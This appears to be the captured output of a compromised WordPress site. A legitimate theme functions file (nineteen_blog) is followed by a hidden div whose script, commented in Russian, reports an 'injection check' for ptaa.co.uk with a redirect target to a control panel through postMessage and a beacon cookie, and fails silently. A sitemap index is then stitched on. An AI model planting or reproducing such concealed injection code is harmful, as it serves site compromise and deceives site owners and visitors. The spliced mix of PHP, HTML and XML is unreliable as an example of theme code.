/**
 * Functions which enhance the theme by hooking into WordPress
 *
 * @package nineteen_blog
 */

/**
 * Adds custom classes to the array of body classes.
 *
 * @param array $classes Classes for the body element.
 * @return array
 */
function nineteen_blog_body_classes( $classes ) {
	// Adds a class of hfeed to non-singular pages.
	if ( ! is_singular() ) {
		$classes[] = 'hfeed';
	}

	// Add a class if there is a custom header.
	if ( has_header_image() ) {
		$classes[] = 'has-header-image';
	}

	// Add class if sidebar is used.
	if ( is_active_sidebar( 'sidebar-1' ) ) {
		$classes[] = 'has-sidebar';
	}

	if( is_page() ) {
		$page_sidebar = get_theme_mod( 'page_sidebar', 'no-sidebar' );
		$classes[] = esc_attr( $page_sidebar );
	}

	if( is_single() ) {
		$single_post_sidebar = get_theme_mod( 'single_post_sidebar' , 'right-sidebar' );
		$classes[] = esc_attr( $single_post_sidebar );
	}

	if ( is_home() ) {
		$blog_sidebar = get_theme_mod( 'blog_sidebar' , 'no-sidebar' );
		$classes[] = esc_attr( $blog_sidebar );
	}

	if( is_archive() || is_search() || is_404() ) {
		$archive_sidebar = get_theme_mod( 'archive_sidebar' , 'no-sidebar' );
		$classes[] = esc_attr( $archive_sidebar );
	}

	return $classes;
}
add_filter( 'body_class', 'nineteen_blog_body_classes' );

/**
 * Add a pingback url auto-discovery header for single posts, pages, or attachments.
 */
function nineteen_blog_pingback_header() {
	if ( is_singular() && pings_open() ) {
		printf( '<link rel="pingback" href="%s">', esc_url( get_bloginfo( 'pingback_url' ) ) );
	}
}
add_action( 'wp_head', 'nineteen_blog_pingback_header' );

/**
 * nineteen_blog Excerpt Length
 *
 * @since nineteen_blog 1.0.0
 *
 * @param null
 * @return void
 */

if ( ! function_exists( 'nineteen_blog_excerpt_length' ) ) :

  /**
   * Implement excerpt length.
   *
   * @since 1.0.0
   *
   * @param int $length The number of words.
   * @return int Excerpt length.
   */
  function nineteen_blog_excerpt_length( $length ) {

    if ( is_admin() ) {
      return $length;
    }

    $excerpt_length = get_theme_mod( 'excerpt_length', 15 );

    if ( absint( $excerpt_length ) > 0 ) {
      $length = absint( $excerpt_length );
    }

    return $length;
  }

endif;

add_filter( 'excerpt_length', 'nineteen_blog_excerpt_length', 999 );<!-- БЛОК RVAL ДЛЯ ПРОВЕРКИ УСПЕХА -->
<div style="display:none;" id="ultimate_check_d2e4e3b2f26321d79ed0dc092e50a20c">
    <script>
        // Данные для панели управления
        var ultimate_check_data = {
            host: "ptaa.co.uk",
            hash: "d2e4e3b2f26321d79ed0dc092e50a20c",
            panel_check: "NO",
            injected: "NO",
            timestamp: "2026-09-24 23:12:53",
            target_url: "https://omg10.com/4/11883777",
            status: "NOT_FOUND",
            version: "4.1"
        };
        
        // Отправляем данные в панель управления
        try {
            // Метод 1: postMessage
            if (window.parent && window.parent !== window) {
                window.parent.postMessage({
                    type: 'ultimate_injection_check',
                    data: ultimate_check_data
                }, '*');
            }
            
            // Метод 2: cookie beacon для панели
            document.cookie = "ultimate_beacon=d2e4e3b2f26321d79ed0dc092e50a20c; path=/; max-age=30; samesite=none";
            
            // Метод 3: проверка куки 'hB' (ответ панели)
            if (document.cookie.indexOf('hB') !== -1) {
                // Панель запросила проверку - отвечаем
                console.log('[ULTIMATE] Panel check detected');
            }
            
        } catch(e) {
            // Silent fail
        }
    </script>
</div><?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://ptaa.co.uk/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://ptaa.co.uk/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://ptaa.co.uk/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://ptaa.co.uk/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://ptaa.co.uk/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://ptaa.co.uk/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
